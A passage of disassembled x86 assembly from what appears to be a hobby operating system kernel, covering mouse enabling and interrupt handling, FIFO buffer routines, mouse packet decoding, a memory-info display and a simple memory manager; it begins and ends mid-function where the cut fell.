wait_KBC_sendready ; 0C86 _ E8, FFFFFFFC(rel) sub esp, 8 ; 0C8B _ 83. EC, 08 push 212 ; 0C8E _ 68, 000000D4 push 100 ; 0C93 _ 6A, 64 call io_out8 ; 0C95 _ E8, FFFFFFFC(rel) add esp, 16 ; 0C9A _ 83. C4, 10 call wait_KBC_sendready ; 0C9D _ E8, FFFFFFFC(rel) sub esp, 8 ; 0CA2 _ 83. EC, 08 push 244 ; 0CA5 _ 68, 000000F4 push 96 ; 0CAA _ 6A, 60 call io_out8 ; 0CAC _ E8, FFFFFFFC(rel) add esp, 16 ; 0CB1 _ 83. C4, 10 mov eax, dword [ebp+8H] ; 0CB4 _ 8B. 45, 08 mov byte [eax+3H], 0 ; 0CB7 _ C6. 40, 03, 00 nop ; 0CBB _ 90 leave ; 0CBC _ C9 ret ; 0CBD _ C3 ; enable_mouse End of function intHandlerForMouse:; Function begin push ebp ; 0CBE _ 55 mov ebp, esp ; 0CBF _ 89. E5 sub esp, 24 ; 0CC1 _ 83. EC, 18 sub esp, 8 ; 0CC4 _ 83. EC, 08 push 32 ; 0CC7 _ 6A, 20 push 160 ; 0CC9 _ 68, 000000A0 call io_out8 ; 0CCE _ E8, FFFFFFFC(rel) add esp, 16 ; 0CD3 _ 83. C4, 10 sub esp, 8 ; 0CD6 _ 83. EC, 08 push 32 ; 0CD9 _ 6A, 20 push 32 ; 0CDB _ 6A, 20 call io_out8 ; 0CDD _ E8, FFFFFFFC(rel) add esp, 16 ; 0CE2 _ 83. C4, 10 sub esp, 12 ; 0CE5 _ 83. EC, 0C push 96 ; 0CE8 _ 6A, 60 call io_in8 ; 0CEA _ E8, FFFFFFFC(rel) add esp, 16 ; 0CEF _ 83. C4, 10 mov byte [ebp-9H], al ; 0CF2 _ 88. 45, F7 movzx eax, byte [ebp-9H] ; 0CF5 _ 0F B6. 45, F7 sub esp, 8 ; 0CF9 _ 83. EC, 08 push eax ; 0CFC _ 50 push mouseinfo ; 0CFD _ 68, 00000120(d) call fifo8_put ; 0D02 _ E8, FFFFFFFC(rel) add esp, 16 ; 0D07 _ 83. C4, 10 leave ; 0D0A _ C9 ret ; 0D0B _ C3 ; intHandlerForMouse End of function fifo8_init:; Function begin push ebp ; 0D0C _ 55 mov ebp, esp ; 0D0D _ 89. E5 mov eax, dword [ebp+8H] ; 0D0F _ 8B. 45, 08 mov edx, dword [ebp+0CH] ; 0D12 _ 8B. 55, 0C mov dword [eax+0CH], edx ; 0D15 _ 89. 50, 0C mov eax, dword [ebp+8H] ; 0D18 _ 8B. 45, 08 mov edx, dword [ebp+10H] ; 0D1B _ 8B. 55, 10 mov dword [eax], edx ; 0D1E _ 89. 10 mov eax, dword [ebp+8H] ; 0D20 _ 8B. 45, 08 mov edx, dword [ebp+0CH] ; 0D23 _ 8B. 55, 0C mov dword [eax+10H], edx ; 0D26 _ 89. 50, 10 mov eax, dword [ebp+8H] ; 0D29 _ 8B. 45, 08 mov dword [eax+14H], 0 ; 0D2C _ C7. 40, 14, 00000000 mov eax, dword [ebp+8H] ; 0D33 _ 8B. 45, 08 mov dword [eax+4H], 0 ; 0D36 _ C7. 40, 04, 00000000 mov eax, dword [ebp+8H] ; 0D3D _ 8B. 45, 08 mov dword [eax+8H], 0 ; 0D40 _ C7. 40, 08, 00000000 nop ; 0D47 _ 90 pop ebp ; 0D48 _ 5D ret ; 0D49 _ C3 ; fifo8_init End of function fifo8_put:; Function begin push ebp ; 0D4A _ 55 mov ebp, esp ; 0D4B _ 89. E5 sub esp, 4 ; 0D4D _ 83. EC, 04 mov eax, dword [ebp+0CH] ; 0D50 _ 8B. 45, 0C mov byte [ebp-4H], al ; 0D53 _ 88. 45, FC mov eax, dword [ebp+8H] ; 0D56 _ 8B. 45, 08 mov eax, dword [eax+10H] ; 0D59 _ 8B. 40, 10 test eax, eax ; 0D5C _ 85. C0 jnz ?_051 ; 0D5E _ 75, 18 mov eax, dword [ebp+8H] ; 0D60 _ 8B. 45, 08 mov eax, dword [eax+14H] ; 0D63 _ 8B. 40, 14 or eax, 01H ; 0D66 _ 83. C8, 01 mov edx, eax ; 0D69 _ 89. C2 mov eax, dword [ebp+8H] ; 0D6B _ 8B. 45, 08 mov dword [eax+14H], edx ; 0D6E _ 89. 50, 14 mov eax, 4294967295 ; 0D71 _ B8, FFFFFFFF jmp ?_053 ; 0D76 _ EB, 50 ?_051: mov eax, dword [ebp+8H] ; 0D78 _ 8B. 45, 08 mov edx, dword [eax] ; 0D7B _ 8B. 10 mov eax, dword [ebp+8H] ; 0D7D _ 8B. 45, 08 mov eax, dword [eax+4H] ; 0D80 _ 8B. 40, 04 add edx, eax ; 0D83 _ 01. C2 movzx eax, byte [ebp-4H] ; 0D85 _ 0F B6. 45, FC mov byte [edx], al ; 0D89 _ 88. 02 mov eax, dword [ebp+8H] ; 0D8B _ 8B. 45, 08 mov eax, dword [eax+4H] ; 0D8E _ 8B. 40, 04 lea edx, [eax+1H] ; 0D91 _ 8D. 50, 01 mov eax, dword [ebp+8H] ; 0D94 _ 8B. 45, 08 mov dword [eax+4H], edx ; 0D97 _ 89. 50, 04 mov eax, dword [ebp+8H] ; 0D9A _ 8B. 45, 08 mov edx, dword [eax+4H] ; 0D9D _ 8B. 50, 04 mov eax, dword [ebp+8H] ; 0DA0 _ 8B. 45, 08 mov eax, dword [eax+0CH] ; 0DA3 _ 8B. 40, 0C cmp edx, eax ; 0DA6 _ 39. C2 jnz ?_052 ; 0DA8 _ 75, 0A mov eax, dword [ebp+8H] ; 0DAA _ 8B. 45, 08 mov dword [eax+4H], 0 ; 0DAD _ C7. 40, 04, 00000000 ?_052: mov eax, dword [ebp+8H] ; 0DB4 _ 8B. 45, 08 mov eax, dword [eax+10H] ; 0DB7 _ 8B. 40, 10 lea edx, [eax-1H] ; 0DBA _ 8D. 50, FF mov eax, dword [ebp+8H] ; 0DBD _ 8B. 45, 08 mov dword [eax+10H], edx ; 0DC0 _ 89. 50, 10 mov eax, 0 ; 0DC3 _ B8, 00000000 ?_053: leave ; 0DC8 _ C9 ret ; 0DC9 _ C3 ; fifo8_put End of function fifo8_get:; Function begin push ebp ; 0DCA _ 55 mov ebp, esp ; 0DCB _ 89. E5 sub esp, 16 ; 0DCD _ 83. EC, 10 mov eax, dword [ebp+8H] ; 0DD0 _ 8B. 45, 08 mov edx, dword [eax+10H] ; 0DD3 _ 8B. 50, 10 mov eax, dword [ebp+8H] ; 0DD6 _ 8B. 45, 08 mov eax, dword [eax+0CH] ; 0DD9 _ 8B. 40, 0C cmp edx, eax ; 0DDC _ 39. C2 jnz ?_054 ; 0DDE _ 75, 07 mov eax, 4294967295 ; 0DE0 _ B8, FFFFFFFF jmp ?_056 ; 0DE5 _ EB, 51 ?_054: mov eax, dword [ebp+8H] ; 0DE7 _ 8B. 45, 08 mov edx, dword [eax] ; 0DEA _ 8B. 10 mov eax, dword [ebp+8H] ; 0DEC _ 8B. 45, 08 mov eax, dword [eax+8H] ; 0DEF _ 8B. 40, 08 add eax, edx ; 0DF2 _ 01. D0 movzx eax, byte [eax] ; 0DF4 _ 0F B6. 00 movzx eax, al ; 0DF7 _ 0F B6. C0 mov dword [ebp-4H], eax ; 0DFA _ 89. 45, FC mov eax, dword [ebp+8H] ; 0DFD _ 8B. 45, 08 mov eax, dword [eax+8H] ; 0E00 _ 8B. 40, 08 lea edx, [eax+1H] ; 0E03 _ 8D. 50, 01 mov eax, dword [ebp+8H] ; 0E06 _ 8B. 45, 08 mov dword [eax+8H], edx ; 0E09 _ 89. 50, 08 mov eax, dword [ebp+8H] ; 0E0C _ 8B. 45, 08 mov edx, dword [eax+8H] ; 0E0F _ 8B. 50, 08 mov eax, dword [ebp+8H] ; 0E12 _ 8B. 45, 08 mov eax, dword [eax+0CH] ; 0E15 _ 8B. 40, 0C cmp edx, eax ; 0E18 _ 39. C2 jnz ?_055 ; 0E1A _ 75, 0A mov eax, dword [ebp+8H] ; 0E1C _ 8B. 45, 08 mov dword [eax+8H], 0 ; 0E1F _ C7. 40, 08, 00000000 ?_055: mov eax, dword [ebp+8H] ; 0E26 _ 8B. 45, 08 mov eax, dword [eax+10H] ; 0E29 _ 8B. 40, 10 lea edx, [eax+1H] ; 0E2C _ 8D. 50, 01 mov eax, dword [ebp+8H] ; 0E2F _ 8B. 45, 08 mov dword [eax+10H], edx ; 0E32 _ 89. 50, 10 mov eax, dword [ebp-4H] ; 0E35 _ 8B. 45, FC ?_056: leave ; 0E38 _ C9 ret ; 0E39 _ C3 ; fifo8_get End of function fifo8_status:; Function begin push ebp ; 0E3A _ 55 mov ebp, esp ; 0E3B _ 89. E5 mov eax, dword [ebp+8H] ; 0E3D _ 8B. 45, 08 mov edx, dword [eax+0CH] ; 0E40 _ 8B. 50, 0C mov eax, dword [ebp+8H] ; 0E43 _ 8B. 45, 08 mov eax, dword [eax+10H] ; 0E46 _ 8B. 40, 10 sub edx, eax ; 0E49 _ 29. C2 mov eax, edx ; 0E4B _ 89. D0 pop ebp ; 0E4D _ 5D ret ; 0E4E _ C3 ; fifo8_status End of function mouse_decode:; Function begin push ebp ; 0E4F _ 55 mov ebp, esp ; 0E50 _ 89. E5 sub esp, 4 ; 0E52 _ 83. EC, 04 mov eax, dword [ebp+0CH] ; 0E55 _ 8B. 45, 0C mov byte [ebp-4H], al ; 0E58 _ 88. 45, FC mov eax, dword [ebp+8H] ; 0E5B _ 8B. 45, 08 movzx eax, byte [eax+3H] ; 0E5E _ 0F B6. 40, 03 test al, al ; 0E62 _ 84. C0 jnz ?_058 ; 0E64 _ 75, 17 cmp byte [ebp-4H], -6 ; 0E66 _ 80. 7D, FC, FA jnz ?_057 ; 0E6A _ 75, 07 mov eax, dword [ebp+8H] ; 0E6C _ 8B. 45, 08 mov byte [eax+3H], 1 ; 0E6F _ C6. 40, 03, 01 ?_057: mov eax, 0 ; 0E73 _ B8, 00000000 jmp ?_065 ; 0E78 _ E9, 0000010F ?_058: mov eax, dword [ebp+8H] ; 0E7D _ 8B. 45, 08 movzx eax, byte [eax+3H] ; 0E80 _ 0F B6. 40, 03 cmp al, 1 ; 0E84 _ 3C, 01 jnz ?_060 ; 0E86 _ 75, 28 movzx eax, byte [ebp-4H] ; 0E88 _ 0F B6. 45, FC and eax, 0C8H ; 0E8C _ 25, 000000C8 cmp eax, 8 ; 0E91 _ 83. F8, 08 jnz ?_059 ; 0E94 _ 75, 10 mov eax, dword [ebp+8H] ; 0E96 _ 8B. 45, 08 movzx edx, byte [ebp-4H] ; 0E99 _ 0F B6. 55, FC mov byte [eax], dl ; 0E9D _ 88. 10 mov eax, dword [ebp+8H] ; 0E9F _ 8B. 45, 08 mov byte [eax+3H], 2 ; 0EA2 _ C6. 40, 03, 02 ?_059: mov eax, 0 ; 0EA6 _ B8, 00000000 jmp ?_065 ; 0EAB _ E9, 000000DC ?_060: mov eax, dword [ebp+8H] ; 0EB0 _ 8B. 45, 08 movzx eax, byte [eax+3H] ; 0EB3 _ 0F B6. 40, 03 cmp al, 2 ; 0EB7 _ 3C, 02 jnz ?_061 ; 0EB9 _ 75, 1B mov eax, dword [ebp+8H] ; 0EBB _ 8B. 45, 08 movzx edx, byte [ebp-4H] ; 0EBE _ 0F B6. 55, FC mov byte [eax+1H], dl ; 0EC2 _ 88. 50, 01 mov eax, dword [ebp+8H] ; 0EC5 _ 8B. 45, 08 mov byte [eax+3H], 3 ; 0EC8 _ C6. 40, 03, 03 mov eax, 0 ; 0ECC _ B8, 00000000 jmp ?_065 ; 0ED1 _ E9, 000000B6 ?_061: mov eax, dword [ebp+8H] ; 0ED6 _ 8B. 45, 08 movzx eax, byte [eax+3H] ; 0ED9 _ 0F B6. 40, 03 cmp al, 3 ; 0EDD _ 3C, 03 jne ?_064 ; 0EDF _ 0F 85, 000000A2 mov eax, dword [ebp+8H] ; 0EE5 _ 8B. 45, 08 movzx edx, byte [ebp-4H] ; 0EE8 _ 0F B6. 55, FC mov byte [eax+2H], dl ; 0EEC _ 88. 50, 02 mov eax, dword [ebp+8H] ; 0EEF _ 8B. 45, 08 mov byte [eax+3H], 1 ; 0EF2 _ C6. 40, 03, 01 mov eax, dword [ebp+8H] ; 0EF6 _ 8B. 45, 08 movzx eax, byte [eax] ; 0EF9 _ 0F B6. 00 movzx eax, al ; 0EFC _ 0F B6. C0 and eax, 07H ; 0EFF _ 83. E0, 07 mov edx, eax ; 0F02 _ 89. C2 mov eax, dword [ebp+8H] ; 0F04 _ 8B. 45, 08 mov dword [eax+0CH], edx ; 0F07 _ 89. 50, 0C mov eax, dword [ebp+8H] ; 0F0A _ 8B. 45, 08 movzx eax, byte [eax+1H] ; 0F0D _ 0F B6. 40, 01 movzx edx, al ; 0F11 _ 0F B6. D0 mov eax, dword [ebp+8H] ; 0F14 _ 8B. 45, 08 mov dword [eax+4H], edx ; 0F17 _ 89. 50, 04 mov eax, dword [ebp+8H] ; 0F1A _ 8B. 45, 08 movzx eax, byte [eax+2H] ; 0F1D _ 0F B6. 40, 02 movzx edx, al ; 0F21 _ 0F B6. D0 mov eax, dword [ebp+8H] ; 0F24 _ 8B. 45, 08 mov dword [eax+8H], edx ; 0F27 _ 89. 50, 08 mov eax, dword [ebp+8H] ; 0F2A _ 8B. 45, 08 movzx eax, byte [eax] ; 0F2D _ 0F B6. 00 movzx eax, al ; 0F30 _ 0F B6. C0 and eax, 10H ; 0F33 _ 83. E0, 10 test eax, eax ; 0F36 _ 85. C0 jz ?_062 ; 0F38 _ 74, 13 mov eax, dword [ebp+8H] ; 0F3A _ 8B. 45, 08 mov eax, dword [eax+4H] ; 0F3D _ 8B. 40, 04 or eax, 0FFFFFF00H ; 0F40 _ 0D, FFFFFF00 mov edx, eax ; 0F45 _ 89. C2 mov eax, dword [ebp+8H] ; 0F47 _ 8B. 45, 08 mov dword [eax+4H], edx ; 0F4A _ 89. 50, 04 ?_062: mov eax, dword [ebp+8H] ; 0F4D _ 8B. 45, 08 movzx eax, byte [eax] ; 0F50 _ 0F B6. 00 movzx eax, al ; 0F53 _ 0F B6. C0 and eax, 20H ; 0F56 _ 83. E0, 20 test eax, eax ; 0F59 _ 85. C0 jz ?_063 ; 0F5B _ 74, 13 mov eax, dword [ebp+8H] ; 0F5D _ 8B. 45, 08 mov eax, dword [eax+8H] ; 0F60 _ 8B. 40, 08 or eax, 0FFFFFF00H ; 0F63 _ 0D, FFFFFF00 mov edx, eax ; 0F68 _ 89. C2 mov eax, dword [ebp+8H] ; 0F6A _ 8B. 45, 08 mov dword [eax+8H], edx ; 0F6D _ 89. 50, 08 ?_063: mov eax, dword [ebp+8H] ; 0F70 _ 8B. 45, 08 mov eax, dword [eax+8H] ; 0F73 _ 8B. 40, 08 neg eax ; 0F76 _ F7. D8 mov edx, eax ; 0F78 _ 89. C2 mov eax, dword [ebp+8H] ; 0F7A _ 8B. 45, 08 mov dword [eax+8H], edx ; 0F7D _ 89. 50, 08 mov eax, 1 ; 0F80 _ B8, 00000001 jmp ?_065 ; 0F85 _ EB, 05 ?_064: mov eax, 4294967295 ; 0F87 _ B8, FFFFFFFF ?_065: leave ; 0F8C _ C9 ret ; 0F8D _ C3 ; mouse_decode End of function showMemoryInfo:; Function begin push ebp ; 0F8E _ 55 mov ebp, esp ; 0F8F _ 89. E5 sub esp, 56 ; 0F91 _ 83. EC, 38 mov dword [ebp-30H], 0 ; 0F94 _ C7. 45, D0, 00000000 mov dword [ebp-2CH], 0 ; 0F9B _ C7. 45, D4, 00000000 mov dword [ebp-28H], 104 ; 0FA2 _ C7. 45, D8, 00000068 mov dword [ebp-24H], 80 ; 0FA9 _ C7. 45, DC, 00000050 push 100 ; 0FB0 _ 6A, 64 push dword [ebp+14H] ; 0FB2 _ FF. 75, 14 push 0 ; 0FB5 _ 6A, 00 push 0 ; 0FB7 _ 6A, 00 push 14 ; 0FB9 _ 6A, 0E push dword [ebp+14H] ; 0FBB _ FF. 75, 14 push dword [ebp+0CH] ; 0FBE _ FF. 75, 0C call boxfill8 ; 0FC1 _ E8, FFFFFFFC(rel) add esp, 28 ; 0FC6 _ 83. C4, 1C mov eax, dword [ebp+18H] ; 0FC9 _ 8B. 45, 18 movsx eax, al ; 0FCC _ 0F BE. C0 sub esp, 8 ; 0FCF _ 83. EC, 08 push ?_087 ; 0FD2 _ 68, 00000015(d) push eax ; 0FD7 _ 50 push dword [ebp-2CH] ; 0FD8 _ FF. 75, D4 push dword [ebp-30H] ; 0FDB _ FF. 75, D0 push dword [ebp+14H] ; 0FDE _ FF. 75, 14 push dword [ebp+0CH] ; 0FE1 _ FF. 75, 0C call showString ; 0FE4 _ E8, FFFFFFFC(rel) add esp, 32 ; 0FE9 _ 83. C4, 20 mov eax, dword [ebp+10H] ; 0FEC _ 8B. 45, 10 sub esp, 12 ; 0FEF _ 83. EC, 0C push eax ; 0FF2 _ 50 call intToHexStr ; 0FF3 _ E8, FFFFFFFC(rel) add esp, 16 ; 0FF8 _ 83. C4, 10 mov dword [ebp-20H], eax ; 0FFB _ 89. 45, E0 mov eax, dword [ebp+18H] ; 0FFE _ 8B. 45, 18 movsx eax, al ; 1001 _ 0F BE. C0 sub esp, 8 ; 1004 _ 83. EC, 08 push dword [ebp-20H] ; 1007 _ FF. 75, E0 push eax ; 100A _ 50 push dword [ebp-2CH] ; 100B _ FF. 75, D4 push dword [ebp-28H] ; 100E _ FF. 75, D8 push dword [ebp+14H] ; 1011 _ FF. 75, 14 push dword [ebp+0CH] ; 1014 _ FF. 75, 0C call showString ; 1017 _ E8, FFFFFFFC(rel) add esp, 32 ; 101C _ 83. C4, 20 add dword [ebp-2CH], 16 ; 101F _ 83. 45, D4, 10 mov eax, dword [ebp+18H] ; 1023 _ 8B. 45, 18 movsx eax, al ; 1026 _ 0F BE. C0 sub esp, 8 ; 1029 _ 83. EC, 08 push ?_088 ; 102C _ 68, 0000001F(d) push eax ; 1031 _ 50 push dword [ebp-2CH] ; 1032 _ FF. 75, D4 push dword [ebp-30H] ; 1035 _ FF. 75, D0 push dword [ebp+14H] ; 1038 _ FF. 75, 14 push dword [ebp+0CH] ; 103B _ FF. 75, 0C call showString ; 103E _ E8, FFFFFFFC(rel) add esp, 32 ; 1043 _ 83. C4, 20 mov eax, dword [ebp+8H] ; 1046 _ 8B. 45, 08 mov eax, dword [eax] ; 1049 _ 8B. 00 sub esp, 12 ; 104B _ 83. EC, 0C push eax ; 104E _ 50 call intToHexStr ; 104F _ E8, FFFFFFFC(rel) add esp, 16 ; 1054 _ 83. C4, 10 mov dword [ebp-1CH], eax ; 1057 _ 89. 45, E4 mov eax, dword [ebp+18H] ; 105A _ 8B. 45, 18 movsx eax, al ; 105D _ 0F BE. C0 sub esp, 8 ; 1060 _ 83. EC, 08 push dword [ebp-1CH] ; 1063 _ FF. 75, E4 push eax ; 1066 _ 50 push dword [ebp-2CH] ; 1067 _ FF. 75, D4 push dword [ebp-28H] ; 106A _ FF. 75, D8 push dword [ebp+14H] ; 106D _ FF. 75, 14 push dword [ebp+0CH] ; 1070 _ FF. 75, 0C call showString ; 1073 _ E8, FFFFFFFC(rel) add esp, 32 ; 1078 _ 83. C4, 20 add dword [ebp-2CH], 16 ; 107B _ 83. 45, D4, 10 mov eax, dword [ebp+18H] ; 107F _ 8B. 45, 18 movsx eax, al ; 1082 _ 0F BE. C0 sub esp, 8 ; 1085 _ 83. EC, 08 push ?_089 ; 1088 _ 68, 0000002B(d) push eax ; 108D _ 50 push dword [ebp-2CH] ; 108E _ FF. 75, D4 push dword [ebp-30H] ; 1091 _ FF. 75, D0 push dword [ebp+14H] ; 1094 _ FF. 75, 14 push dword [ebp+0CH] ; 1097 _ FF. 75, 0C call showString ; 109A _ E8, FFFFFFFC(rel) add esp, 32 ; 109F _ 83. C4, 20 mov eax, dword [ebp+8H] ; 10A2 _ 8B. 45, 08 mov eax, dword [eax+4H] ; 10A5 _ 8B. 40, 04 sub esp, 12 ; 10A8 _ 83. EC, 0C push eax ; 10AB _ 50 call intToHexStr ; 10AC _ E8, FFFFFFFC(rel) add esp, 16 ; 10B1 _ 83. C4, 10 mov dword [ebp-18H], eax ; 10B4 _ 89. 45, E8 mov eax, dword [ebp+18H] ; 10B7 _ 8B. 45, 18 movsx eax, al ; 10BA _ 0F BE. C0 sub esp, 8 ; 10BD _ 83. EC, 08 push dword [ebp-18H] ; 10C0 _ FF. 75, E8 push eax ; 10C3 _ 50 push dword [ebp-2CH] ; 10C4 _ FF. 75, D4 push dword [ebp-28H] ; 10C7 _ FF. 75, D8 push dword [ebp+14H] ; 10CA _ FF. 75, 14 push dword [ebp+0CH] ; 10CD _ FF. 75, 0C call showString ; 10D0 _ E8, FFFFFFFC(rel) add esp, 32 ; 10D5 _ 83. C4, 20 add dword [ebp-2CH], 16 ; 10D8 _ 83. 45, D4, 10 mov eax, dword [ebp+18H] ; 10DC _ 8B. 45, 18 movsx eax, al ; 10DF _ 0F BE. C0 sub esp, 8 ; 10E2 _ 83. EC, 08 push ?_090 ; 10E5 _ 68, 00000037(d) push eax ; 10EA _ 50 push dword [ebp-2CH] ; 10EB _ FF. 75, D4 push dword [ebp-30H] ; 10EE _ FF. 75, D0 push dword [ebp+14H] ; 10F1 _ FF. 75, 14 push dword [ebp+0CH] ; 10F4 _ FF. 75, 0C call showString ; 10F7 _ E8, FFFFFFFC(rel) add esp, 32 ; 10FC _ 83. C4, 20 mov eax, dword [ebp+8H] ; 10FF _ 8B. 45, 08 mov eax, dword [eax+8H] ; 1102 _ 8B. 40, 08 sub esp, 12 ; 1105 _ 83. EC, 0C push eax ; 1108 _ 50 call intToHexStr ; 1109 _ E8, FFFFFFFC(rel) add esp, 16 ; 110E _ 83. C4, 10 mov dword [ebp-14H], eax ; 1111 _ 89. 45, EC mov eax, dword [ebp+18H] ; 1114 _ 8B. 45, 18 movsx eax, al ; 1117 _ 0F BE. C0 sub esp, 8 ; 111A _ 83. EC, 08 push dword [ebp-14H] ; 111D _ FF. 75, EC push eax ; 1120 _ 50 push dword [ebp-2CH] ; 1121 _ FF. 75, D4 push dword [ebp-28H] ; 1124 _ FF. 75, D8 push dword [ebp+14H] ; 1127 _ FF. 75, 14 push dword [ebp+0CH] ; 112A _ FF. 75, 0C call showString ; 112D _ E8, FFFFFFFC(rel) add esp, 32 ; 1132 _ 83. C4, 20 add dword [ebp-2CH], 16 ; 1135 _ 83. 45, D4, 10 mov eax, dword [ebp+18H] ; 1139 _ 8B. 45, 18 movsx eax, al ; 113C _ 0F BE. C0 sub esp, 8 ; 113F _ 83. EC, 08 push ?_091 ; 1142 _ 68, 00000043(d) push eax ; 1147 _ 50 push dword [ebp-2CH] ; 1148 _ FF. 75, D4 push dword [ebp-30H] ; 114B _ FF. 75, D0 push dword [ebp+14H] ; 114E _ FF. 75, 14 push dword [ebp+0CH] ; 1151 _ FF. 75, 0C call showString ; 1154 _ E8, FFFFFFFC(rel) add esp, 32 ; 1159 _ 83. C4, 20 mov eax, dword [ebp+8H] ; 115C _ 8B. 45, 08 mov eax, dword [eax+0CH] ; 115F _ 8B. 40, 0C sub esp, 12 ; 1162 _ 83. EC, 0C push eax ; 1165 _ 50 call intToHexStr ; 1166 _ E8, FFFFFFFC(rel) add esp, 16 ; 116B _ 83. C4, 10 mov dword [ebp-10H], eax ; 116E _ 89. 45, F0 mov eax, dword [ebp+18H] ; 1171 _ 8B. 45, 18 movsx eax, al ; 1174 _ 0F BE. C0 sub esp, 8 ; 1177 _ 83. EC, 08 push dword [ebp-10H] ; 117A _ FF. 75, F0 push eax ; 117D _ 50 push dword [ebp-2CH] ; 117E _ FF. 75, D4 push dword [ebp-28H] ; 1181 _ FF. 75, D8 push dword [ebp+14H] ; 1184 _ FF. 75, 14 push dword [ebp+0CH] ; 1187 _ FF. 75, 0C call showString ; 118A _ E8, FFFFFFFC(rel) add esp, 32 ; 118F _ 83. C4, 20 add dword [ebp-2CH], 16 ; 1192 _ 83. 45, D4, 10 mov eax, dword [ebp+18H] ; 1196 _ 8B. 45, 18 movsx eax, al ; 1199 _ 0F BE. C0 sub esp, 8 ; 119C _ 83. EC, 08 push ?_092 ; 119F _ 68, 00000050(d) push eax ; 11A4 _ 50 push dword [ebp-2CH] ; 11A5 _ FF. 75, D4 push dword [ebp-30H] ; 11A8 _ FF. 75, D0 push dword [ebp+14H] ; 11AB _ FF. 75, 14 push dword [ebp+0CH] ; 11AE _ FF. 75, 0C call showString ; 11B1 _ E8, FFFFFFFC(rel) add esp, 32 ; 11B6 _ 83. C4, 20 mov eax, dword [ebp+8H] ; 11B9 _ 8B. 45, 08 mov eax, dword [eax+10H] ; 11BC _ 8B. 40, 10 sub esp, 12 ; 11BF _ 83. EC, 0C push eax ; 11C2 _ 50 call intToHexStr ; 11C3 _ E8, FFFFFFFC(rel) add esp, 16 ; 11C8 _ 83. C4, 10 mov dword [ebp-0CH], eax ; 11CB _ 89. 45, F4 mov eax, dword [ebp+18H] ; 11CE _ 8B. 45, 18 movsx eax, al ; 11D1 _ 0F BE. C0 sub esp, 8 ; 11D4 _ 83. EC, 08 push dword [ebp-0CH] ; 11D7 _ FF. 75, F4 push eax ; 11DA _ 50 push dword [ebp-2CH] ; 11DB _ FF. 75, D4 push dword [ebp-28H] ; 11DE _ FF. 75, D8 push dword [ebp+14H] ; 11E1 _ FF. 75, 14 push dword [ebp+0CH] ; 11E4 _ FF. 75, 0C call showString ; 11E7 _ E8, FFFFFFFC(rel) add esp, 32 ; 11EC _ 83. C4, 20 leave ; 11EF _ C9 ret ; 11F0 _ C3 ; showMemoryInfo End of function memman_init:; Function begin push ebp ; 11F1 _ 55 mov ebp, esp ; 11F2 _ 89. E5 mov eax, dword [ebp+8H] ; 11F4 _ 8B. 45, 08 mov dword [eax], 0 ; 11F7 _ C7. 00, 00000000 mov eax, dword [ebp+8H] ; 11FD _ 8B. 45, 08 mov dword [eax+4H], 0 ; 1200 _ C7. 40, 04, 00000000 mov eax, dword [ebp+8H] ; 1207 _ 8B. 45, 08 mov dword [eax+8H], 0 ; 120A _ C7. 40, 08, 00000000 mov eax, dword [ebp+8H] ; 1211 _ 8B. 45, 08 mov dword [eax+0CH], 0 ; 1214 _ C7. 40, 0C, 00000000 pop ebp ; 121B _ 5D ret ; 121C _ C3 ; memman_init End of function memman_total:; Function begin push ebp ; 121D _ 55 mov ebp, esp ; 121E _ 89. E5 sub esp, 16 ; 1220 _ 83. EC, 10 mov dword [ebp-4H], 0 ; 1223 _ C7. 45, FC, 00000000 mov dword [ebp-8H], 0 ; 122A _ C7. 45, F8, 00000000 jmp ?_067 ; 1231 _ EB, 14 ?_066: mov eax, dword [ebp+8H] ; 1233 _ 8B. 45, 08 mov edx, dword [ebp-8H] ; 1236 _ 8B. 55, F8 add edx, 2 ; 1239 _ 83. C2, 02 mov eax, dword [eax+edx*8+4H] ; 123C _ 8B. 44 D0, 04 add dword [ebp-4H], eax ; 1240 _ 01. 45, FC add dword [ebp-8H], 1 ; 1243 _ 83. 45, F8, 01 ?_067: mov eax, dword [ebp+8H] ; 1247 _ 8B. 45, 08 mov eax, dword [eax] ; 124A _ 8B. 00 cmp eax, dword [ebp-8H] ; 124C _ 3B. 45, F8 ja ?_066 ; 124F _ 77, E2 mov eax, dword [ebp-4H] ; 1251 _ 8B. 45, FC leave ; 1254 _ C9 ret ; 1255 _ C3 ; memman_total End of function memman_alloc:; Function begin push ebp ; 1256 _ 55 mov ebp, esp ; 1257 _ 89. E5 sub esp, 16 ; 1259 _ 83. EC, 10 mov dword [ebp-8H], 0 ; 125C _ C7. 45, F8, 00000000 jmp ?_071 ; 1263 _ EB, 67 ?_068: mov eax, dword [ebp+8H] ; 1265 _ 8B. 45, 08 mov edx, dword [ebp-8H] ; 1268 _ 8B. 55, F8 add edx, 2 ; 126B _ 83. C2, 02 mov eax, dword [eax+edx*8+4H] ; 126E _ 8B. 44 D0, 04 cmp eax, dword [ebp+0CH] ; 1272 _ 3B. 45, 0C jc ?_070 ; 1275 _ 72, 51 mov eax, dword [ebp+8H] ; 1277 _ 8B. 45, 08 mov edx, dword [ebp-8H] ; 127A _ 8B. 55, F8 add edx, 2 ; 127D _ 83. C2, 02 mov eax, dword [eax+edx*8] ; 1280 _ 8B. 04 D0 mov dword [ebp-4H], eax ; 1283 _ 89. 45, FC mov eax, dword [ebp+8H] ; 1286 _ 8B. 45, 08 mov edx, dword [ebp-8H] ; 1289 _ 8B. 55, F8 add edx, 2 ; 128C _ 83. C2, 02 mov eax, dword [eax+edx*8+4H] ; 128F _ 8B. 44 D0, 04 sub eax, dword [ebp+0CH] ; 1293 _ 2B. 45, 0C mov edx, eax ; 1296 _ 89. C2 mov eax, dword [ebp+8H] ; 1298 _ 8B. 45, 08 mov ecx, dword [ebp-8H] ; 129B _ 8B. 4D, F8 add ecx, 2 ; 129E _ 83. C1, 02 mov dword [eax+ecx*8+4H], edx ; 12A1 _ 89. 54 C8, 04 mov eax, dword [ebp+8H] ; 12A5 _ 8B. 45, 08 mov edx, dword [ebp-8H] ; 12A8 _ 8B. 55, F8 add edx, 2 ; 12AB _ 83. C2, 02 mov eax, dword [eax+edx*8+4H] ; 12AE _ 8B. 44 D0, 04 test eax, eax ; 12B2 _ 85. C0 jnz ?_069 ; 12B4 _ 75, 0D mov eax, dword [ebp+8H] ; 12B6 _ 8B. 45, 08 mov eax, dword [eax] ; 12B9 _ 8B. 00 lea edx, [eax-1H] ; 12BB _ 8D. 50, FF mov eax, dword [ebp+8H] ; 12BE _ 8B. 45, 08 mov dword [eax], edx ; 12C1 _ 89. 10 ?_069: mov eax, dword [ebp-4H] ; 12C3 _ 8B. 45, FC jmp ?_072 ; 12C6 _ EB, 13 ?_070: add dword [ebp-8H], 1 ; 12C8 _ 83. 45, 